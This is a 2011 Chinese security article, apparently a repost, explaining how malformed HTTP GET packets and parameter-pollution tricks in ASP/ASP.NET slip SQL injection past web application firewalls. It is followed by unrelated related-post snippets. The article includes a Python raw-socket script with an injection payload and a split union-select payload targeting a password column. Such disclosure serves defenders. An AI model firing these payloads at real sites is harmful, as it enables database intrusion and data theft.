浅谈绕过WAF的数种方法

标签: 未分类 | 发表时间:2011-09-06 14:28 | 作者:admin Lynn
出处:http://www.80sec.com

EMail: rayh4c#80sec.com
Site: http://www.80sec.com
Date: 2011-09-06
From: http://www.80sec.com/?p=244

0×00 前言

08年初诞生了一种SQL群注攻击,黑客在全球范围内对asp,asp.net加MSSQL架构的网站进行了疯狂扫荡。由于MSSQL支持多语句注入,黑客通过一条结合游标的SQL语句就能将整个数据库的字段内容自动进行篡改,可以在网站上无差别的进行网页木马攻击。

互联网是快速更新迭代的,但是很多没有开发能力的单位都是通过外包建立网站,网站的程序一上线就再也无人维护,很多程序存在各种漏洞无法修补,于是WAF便有了市场,现今门槛低且最能解决问题的是针对IIS/apache的软件WAF,通常一个模块一个扩展就能搞定,当然也有耗资百万千万的硬件WAF,然而如果WAF拦截规则出现漏洞,这百万千万的硬件也就是一堆废铁。那么WAF是否真的可以解决所有的WEB安全问题呢?所以本文主要解析一些可以绕过WAF的罕见漏洞,供安全人员参考。

0×01 Request对象的包解析漏洞.

asp和asp.net的Request对象存在一个包解析漏洞,Request对象对于GET和POST包的解析过于宽松,用一句话表达就是Request对象它GET和POST傻傻分不清楚,稍有点web开发经验的同学应该知道Request接收GET,POST,COOKIE也就是GPC传过来的数据,但是asp和.net库内置的Request对象完全不按RFC标准来,下面我们可以做个测试:

分别将下面两段代码保存为1.asp和1.aspx

使用asp的Request对象接收t参数传值
———————————————–
<%
Response.Write “Request:” & Request(“t”)
%>
———————————————–

使用asp.net的Request对象接收t参数传值
———————————————–
<%@ Page Language=”C#” %>
<%
string test = Request["t"];
Response.Write(“Request:”+test);
%>
———————————————–

使用下面的python脚本调用socket发送原始的HTTP包
———————————————–
#!/usr/bin/env python

import socket

host = ’192.168.239.129′
path = ‘/1.asp’
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)

exploit_packet=”t=’/**/or/**/1=1–”
exploit_packet+=”\r\n” * 8
packet_length = len(exploit_packet)
packet=’GET ‘ + path + ‘ HTTP/1.1\r\n’
packet+=’Host: ‘ + host + ‘\r\n’
packet+=’Content-Length: %s\r\n’ % packet_length
packet+=’Content-Type: application/x-www-form-urlencoded\r\n’
packet+=’\r\n’
packet = packet + exploit_packet

print packet
s.send(packet)
buf = s.recv(1000)
if buf: print buf[buf.rfind("\r\n"):]
s.close()
———————————————–

我们发送的原始包是:
GET /1.asp HTTP/1.1
Host: 192.168.239.129
Content-Length: 34
Content-Type: application/x-www-form-urlencoded

t=’/**/or/**/1=1–

结果返回如下:
Request:’/**/or/**/1=1–
将python测试脚本的path改为/1.aspx测试页返回同样结果。

我们可以看到这是一个畸形的HTTP GET请求包,这个包的奥秘在于Content-Type和Content-Length头,包的结构类似于一个POST包,而请求的方法是GET,最后asp和asp.net的Request对象成功的解析了这个畸形包取出了数据。

所以如果WAF没有处理好HTTP包的内容,沿用常规思路处理GET和POST的逻辑的话,那么这个畸形包将会毁掉WAF的基础防御。

0×02 被遗忘的复参攻击.

大家应该还记得09年的HTTP Parameter Pollution攻击,查看[3]文档,可以发现ASP/IIS和ASP.NET/IIS的场景下存在一个复参特性,本文将利用这种的特性的攻击简称为复参攻击,用0X01里的例子简单的测试一下:

用GET请求传入两个t参数
GET http://192.168.239.129/1.asp?t=1&t=2
将返回
Request:1, 2

asp和asp.net的Request对象接收了两个参数,并且以逗号分隔,所以便衍生出了[3]文档中的复参SQL注入方法:

Vulnerable code:
SQL=”select key from table where id=”+Request.QueryString(“id”)

This request is successfully performed using the HPP technique:
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

The SQL request becomes:
select key from table where id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/usersLavakumarKuppan,

我们可以看到通过巧妙的运用注释符结合复参特性可以分割GET参数中的SQL注入语句,如果WAF对GET参数的处理过于简单是不是会匹配不到拦截规则呢?

0×03 高级复参攻击.

ASP.NET的Request对象有一个Params属性,ASP.NET程序员在一些程序中会使用Request.Params["xxx"]传入数据,参考[4]微软MSDN文档我们可以知道Params属性的特性,该属性接收GET,POST和Cookie的传值集合,这里我们可以修改0×01里的例子测试一下:

使用asp.net的Request.Params方法接收t参数传值
———————————————–
<%@ Page Language=”C#” %>
<%
string test = Request.Params["t"];
Response.Write(“Request:”+test);
%>
———————————————–

发送一个POST包,GET,POST,COOKIE三个方法中都带有不同的t参数内容
———————————————–
POST http://192.168.239.129/1.aspx?t=1 HTTP/1.1
Host: 192.168.239.129
Cookie: t=2

t=3
———————————————–

结果返回
Request:1,3,2

最后得出结论,Request.Params方法接收的数据是按照GPC顺序整合,看到这里的同学再联想到0×02的复参攻击应该如醍醐灌顶了,我们可以将SQL攻击语句拆分到GET,POST,COOKIE三个变量里进行组合攻击。想一想WAF针对这种高级复参攻击是否防御好了?

0×04 后话

WAF是不可能解决所有安全问题的,本文的思路归其本源实际上是描叙了WAF处理HTTP包与服务端处理HTTP包数种差异。互联网是不断更新迭代的,差异存在,类似的漏洞也会存在。
本文提到了三种绕过WAF的思路,第一种是我的原创属于0DAY状态,第二种是参考已有的复参攻击,其中第三种高级复参攻击是由Safe3同学提出的,本文也是与Safe3同学讨论他开发的WAF的BUG而来,所以感谢Safe3同学。
另外请大家不要将本文的内容用于非法途径,仅供安全人员参考,谢谢。

参考:
[1].http://www.faqs.org/rfcs/rfc2616.html
[2].http://www.w3school.com.cn/asp/asp_ref_request.asp
[3].http://www.ptsecurity.com/download/PT-devteev-CC-WAF-ENG.pdf
[4].http://msdn.microsoft.com/en-us/library/system.web.httprequest.aspx

相关 [waf 方法] 推荐:

浅谈绕过WAF的数种方法

- Lynn - 80sec
08年初诞生了一种SQL群注攻击,黑客在全球范围内对asp,asp.net加MSSQL架构的网站进行了疯狂扫荡. 由于MSSQL支持多语句注入,黑客通过一条结合游标的SQL语句就能将整个数据库的字段内容自动进行篡改,可以在网站上无差别的进行网页木马攻击. 互联网是快速更新迭代的,但是很多没有开发能力的单位都是通过外包建立网站,网站的程序一上线就再也无人维护,很多程序存在各种漏洞无法修补,于是WAF便有了市场,现今门槛低且最能解决问题的是针对IIS/apache的软件WAF,通常一个模块一个扩展就能搞定,当然也有耗资百万千万的硬件WAF,然而如果WAF拦截规则出现漏洞,这百万千万的硬件也就是一堆废铁.

ModSecurity:一款优秀的开源WAF

- - FreeBuf互联网安全新媒体平台
一、ModSecurity3.0介绍. ModSecurity是一个开源的跨平台Web应用程序防火墙(WAF)引擎,用于Apache,IIS和Nginx,由Trustwave的SpiderLabs开发. 作为WAF产品,ModSecurity专门关注HTTP流量,当发出HTTP请求时,ModSecurity检查请求的所有部分,如果请求是恶意的,它会被阻止和记录.

openresty+lua实现WAF应用防火墙

- - C1G军火库
pcre没找到,编辑时加上–with-pcre=../pcre-8.30 \. 4.下载ngx_cache_purge清缓组件. 伪装openresty为xcdn. 4.下载和配置 ngx_lua_waf. nginx下常见的开源 waf 有 mod_security、naxsi、ngx_lua_waf 这三个,ngx_lua_waf 性能高和易用性强,基本上零配置,而且常见的攻击类型都能防御,是比较省心的选择.

开源Web应用防火墙(WAF)- ModSecurity v2.7发布

- - FreeBuf.COM
ModSecurity是知名的开源web应用防火墙,它可以作为你的服务器基础安全设施,是广大站长的福音. 目前支持Apache,IIS7和Nginx. 新版改进 1.不需要对现有网络进行调整,只需要分分钟的时间将ModSecurity模块加载进你的web服务器. 2.因为ModSecurity嵌入到你的web服务器中,所以他会很好的利用负载均衡的优势 3.在数据的处理中,ModSecurity的资源消耗很小.

工具推荐:Raptor WAF,轻量级WEB应用防火墙

- - FreeBuf.COM | 关注黑客与极客
Raptor是一款采用C语言编写的WEB应用防火墙,使用DFA来阻止SQL注入、Xss目录遍历等攻击. 在80端口开启httpd服务并上传一些东西:. 复制存在漏洞的PHP代码到WEB目录:. 现在你可以在 http://localhost:8883/test.php 测试Xss攻击了. *原文: GitHub ,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM ).

[转][转]杂谈如何绕过WAF(Web应用防火墙)

- - heiyeluren的blog(黑夜路人的开源世界)
技术分享:杂谈如何绕过WAF(Web应用防火墙). 2014-12-23 共200694人围观,发现21个不明物体 WEB安全. 这个议题呢,主要是教大家一个思路,而不是把现成准备好的代码放给大家. 可能在大家眼中WAF(Web应用防火墙)就是“不要脸”的代名词. 如果没有他,我们的“世界”可能会更加美好.

为Nginx加入一个使用深度学习的软WAF

- - FreeBuf互联网安全新媒体平台
本文介绍如何向Nginx增加了一个使用Tensorflow C库的软WAF模块,模块主体基于Naxsi. 这里,之前有Dalao发表过这样一篇文章: 基于卷积神经网络的SQL注入检测. 这是一个开源的项目,但是由于速度的关系,我不打算使用这篇文章的模型,仅仅采用这篇文章使用的数据集. 这样可以节省很多特征工程的时间.

模板方法

- - 博客园_首页
由于前两天刚好用到模板方法这个模式,而且这个模式相对来 比较简单实用,就写写个人的一些认知吧. 大家对宋丹丹和赵本山的小品里有一个很经典的台词一定不会陌生,而且还日常中经常引用:. 《钟点工》中宋丹丹问要把大象装冰箱,总共分几步. 赵本山就懵了,大象那么大,冰箱那么小,怎么才能把大象装冰箱里呢. 答案也很经典:三步:第1步,把冰箱门打开;第2步,把大象装进去;第3步,把冰箱门带上.

详解 equals() 方法和 hashCode() 方法

- - ImportNew
Java的基类Object提供了一些方法,其中equals()方法用于判断两个对象是否相等,hashCode()方法用于计算对象的哈希码. equals()和hashCode()都不是final方法,都可以被重写(overwrite). 本文介绍了2种方法在使用和重写时,一些需要注意的问题. Object类中equals()方法实现如下:.

mysql优化方法

- - 数据库 - ITeye博客
通过show status和应用特点了解各种SQL的执行频率. 通过SHOW STATUS可以提供服务器状态信息,也可以使用mysqladmin extended-status命令获得. SHOW STATUS可以根据需要显示session级别的统计结果和global级别的统计结果. 以下几个参数对Myisam和Innodb存储引擎都计数:.